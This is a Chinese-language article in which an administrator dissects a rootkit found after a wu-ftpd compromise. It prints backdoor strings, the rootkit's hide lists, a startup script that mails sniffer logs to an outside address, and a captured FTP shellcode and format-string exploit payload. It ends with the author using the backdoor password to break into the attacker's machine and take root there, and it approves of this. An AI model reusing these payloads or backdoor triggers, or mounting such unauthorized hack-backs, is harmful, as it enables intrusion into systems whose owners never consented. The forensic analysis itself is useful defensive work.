网络通信 频道

网上追踪黑客

 可能是节假日的原因,hack事件特别多,我就遇到了两次
  
  1.昨天当我查询我的一台机器时,意外的发现有人入侵了 其实是我自己的失误,没有打上wuftpd26的补丁,又没有改/etc/ftpusers 让人轻易的利用wuftpd26的远程漏洞用匿名用户进入了我的机器。不过这位朋友显然未加考虑的使用了rootkit,结果造成ps 输出的结果是这样:
  [root@ns]# ps
  PID TTY STAT TIME COMMAND
  678 1 S 0:00 /sbin/mingetty tty1
  679 2 S 0:00 /sbin/mingetty tty2
  680 3 S 0:00 /sbin/mingetty tty3
  681 4 S 0:00 /sbin/mingetty tty4
  682 5 S 0:00 /sbin/mingetty tty5
  683 6 S 0:00 /sbin/mingetty tty6
  5557 ? S 0:00 /bin/sh -i
  5591 ? R 0:00 ps
  
  这样的输出结果我想谁看了都知道是个什么意思。那么就让我们一步一步看看他做了些什么吧
  [这位hack没有想到这机器已经早有主人了,并且安装了自己的rootkit工具包]
  [root@ns]# strings /bin/login|more
  ..........
  __bss_start
  _end
  PPRV
  DISPLAY
  /bin/envpc
  l4m3r0x
  /bin/sh
  从上可以看出是个login后门,通过export PATH="l4m3r0x"后,直接telnet对方就能得到#
  [root@ns]# strings /bin/ls|more
  .....
  always
  /usr/local/share/locale
  fileutils
  GNU fileutils-3.13
  vdir
  %s - %s
  /dev/sgk/.fsdc/.1file
  //DIRED//
  //SUBDIRED//
  POSIXLY_CORRECT
  COLUMNS
  注意看了, /dev/sgk/.fsdc/.1file这就是他rootkit文件放的位置了,那么让我们看看那儿都有些什么吧
  [root@ns]# mv /dev/sgk/.fsdc/.1file /tmp
  [root@ns]# ls -la /dev/sgk/.fsdc
  total 641
  drwxr-xr-x 5 root ftp 1024 Feb 4 09:01 .
  drwxr-xr-x 3 root ftp 1024 Feb 2 17:11 ..
  -rw-r--r-- 1 root ftp 7 Feb 2 17:11 .1logz
  -rw-r--r-- 1 root ftp 88 Feb 2 17:11 .1proc
  drwxr-xr-x 2 root ftp 1024 Feb 2 17:11 backup
  drwxrwxr-x 2 lujiang lujiang 1024 Feb 2 17:14 clean
  -rwxr-xr-x 1 lujiang lujiang 5578 Nov 18 11:08 filetrans
  -rwxr-xr-x 1 lujiang lujiang 9396 Aug 23 1999 killall-real
  -rwxr-xr-x 1 lujiang lujiang 7578 Aug 21 17:22 parse
  -rwxr-xr-x 1 lujiang lujiang 6232 Sep 9 1999 parse1
  drwxrwxr-x 2 lujiang lujiang 1024 Jan 28 16:34 patches
  -rwxr-xr-x 1 lujiang lujiang 28004 Aug 23 1999 ps-real
  -rwxr-xr-x 1 lujiang lujiang 580696 Feb 18 2000 ssh
  -rw-r--r-- 1 root ftp 1398 Feb 4 08:55 system
  
  呵呵,看来东西还真不少,从ftp可以知道他是利用的ftP漏洞,从lujiang知道他还窃取了个本地用户
  [root@ns .fsdc]# cat .1logz
  rshd
  [root@ns .fsdc]# cat .1proc
  3 nscd
  2 nmap
  2 lscan
  2 login
  2 lpset
  2 xtty
  2 nscd
  3 statd
  3 lpq
  3 scan
  3 sniff
  3 envpc
  [root@ns .fsdc]# cat /tmp/.1file
  sgk
  .fsdc
  .clib
  .1proc
  .1addr
  .1file
  .1logz
  envpc
  xtty
  pttys
  filetrans
  lpset
  libload
  system
  parse
  
  .1logz是被syslogd调用,隐藏所列出命令所产生的记录.
  .1proc被ps命令调用.隐藏所列出的进程名称
  .1file被ls,find命令掉用.隐藏所列出的文件名,
  [root@ns .fsdc]# cd patches
  [root@ns patches]# cat patch.sh
  #!/bin/sh
  echo "[1] Patching WU-FTPd..."
  rpm -Uhv wuftpd.rpm
  echo "[2] Patching NFS-utils..."
  rpm -Fvh nfs-utils.rpm
  ps aux >> /tmp/psaux
  if [ "`cat /tmp/psaux | grep rpc.statd`" ]; then
  echo "[3] Restarting the rpc.statd daemon (NFS-utils)"
  /etc/rc.d/init.d/nfslock restart
  else
  echo "[4] The daemon rpc.statd isn''t running, so no need to restart!"
  fi
  rm /tmp/psaux
  这是个为wuftpd和rpc.statd漏洞准备的补丁包[我很赞赏此君的做法]
  其他的文件目录我就没有仔细看了[这些打包后会提供下载]
  根据.1file的隐藏文件列表我们一一找到了这些文件.
  [root@ns .fsdc]# strings /usr/bin/xtty
  ......
  PPRV
  (nfsiod)
  socket
  bind
  listen
  accept
  /bin/sh
  不难看出是个后门
  [root@ns .fsdc]# strings /dev/pttys
  #!/bin/sh
  cat /dev/sgk/.fsdc/system | mail prosupp@usa.net >/dev/null 2>&1
  nohup /usr/lib/lpset > /dev/null &
  nohup /usr/bin/xtty > /dev/null &
  rm -rf nohup.out
  这位hack很聪明,通过此脚本就可以把嗅探记录发往prosupp@usa.net [/dev/sgk/.fsdc/system是个嗅探记录]
  [root@ns .fsdc]# cat /etc/rc.d/rc.sysinit|more
  ..........
  if [ "$PROMPT" != "no" ]; then
  /sbin/getkey i && touch /var/run/confirm
  fi
  wait
  # Name Server Cache Daemon..
  /usr/sbin/nscd -q
  # Name Server Cache Daemon..
  /usr/sbin/nscd -q
  # Kernel module checker
  /usr/lib/libload > /dev/null 2>&1
  [root@ns bak]# strings /usr/sbin/nscd|more
  +Q$9
  /usr/info/.clib/sshd_config
  Received SIGHUP; restarting.
  RESTART FAILED: av[0]=''%.100s'', error: %.100s.
  Received signal %d; terminating.
  Timeout before authentication.
  Generating new %d bit RSA key.
  RSA key generation complete.
  f:p:b:k:h:g:diqV:
  i686-unknown-linux
  1.2.27
  sshd version %s [%s]
  Usage: %s [options]
  Options:
  /usr/info/.clib存放着一个ssh后门,这样机器启动后都会为hack开放方便之门.
  [root@ns .fsdc]# strings /sbin/syslogd
  ============================================================
  Time: %s Size: %d
  Path: %s
  => %s [%d]
  ------------------------------------------------------------
  Exiting...
  cant get SOCK_PACKET socket
  cant get flags
  cant set promiscuous mode
  /dev/null
  eth0
  system
  cant open log
  这位hack改动了syslogd文件,变成了一个sniffer
  
  。。。。。。。。。。
  接下来就是还原系统了,修改被窃取的帐号密码。这就不在这里表诉了,从我的嗅探记录我知道了他是从这两台机器上来的
  
  [root@ns man]# more system2
  ============================================================
  Time: Fri Feb 2 17:26:07 Size: 1056
  Path: 210.217.237.75 => ns.xxx.cn [21]
  ------------------------------------------------------------
  ##g#>4h#>4hUSER ftp
  #>hPASS 111F11CA?k^11^Ff''1^=11^C11^u1F^=0F1FvFNV110bin0sh1..11
  #>h<#?hsite exec xx(%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
  f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
  %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
  .f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.
  f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f
  %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p
  #@@h
  ============================================================
  Time: Sat Feb 3 06:01:39 Size: 44
  Path: 216.12.101.4 => ns.xxx.cn [21]
  ------------------------------------------------------------
  @c@ (B@
  ============================================================
  从上可知hack是从210.217.237.75攻击的,根据习惯,通常都会做一样的后门,所以
  [root@ns man]# export DISPLAY="l4m3r0x"
  [root@ns man]# telnet 210.217.237.75
  Trying 210.217.237.75...
  Connected to 210.217.237.75.
  Escape character is ''^]''.
  
  Boramae Cache Server 3.5.1
  
  bash# w
  7:48pm up 71 days, 9:43, 1 user, load average: 0.00, 0.00, 0.00
  USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
  root tty1 - 25Nov 0 31days 0.08s 0.05s -bash
  于是我成了这台机器的root
  bash# ps -ef
  PID TTY STAT TIME COMMAND
  940 2 S 0:00 /sbin/mingetty tty2 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
  941 3 S 0:00 /sbin/mingetty tty3 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
  942 4 S 0:00 /sbin/mingetty tty4 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO
  943 5 S 0:00 /sbin/mingetty tty5 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO<

文章转载地址:http://www.cnpaf.net/Class/hack/06101110491459024163.html

0
相关文章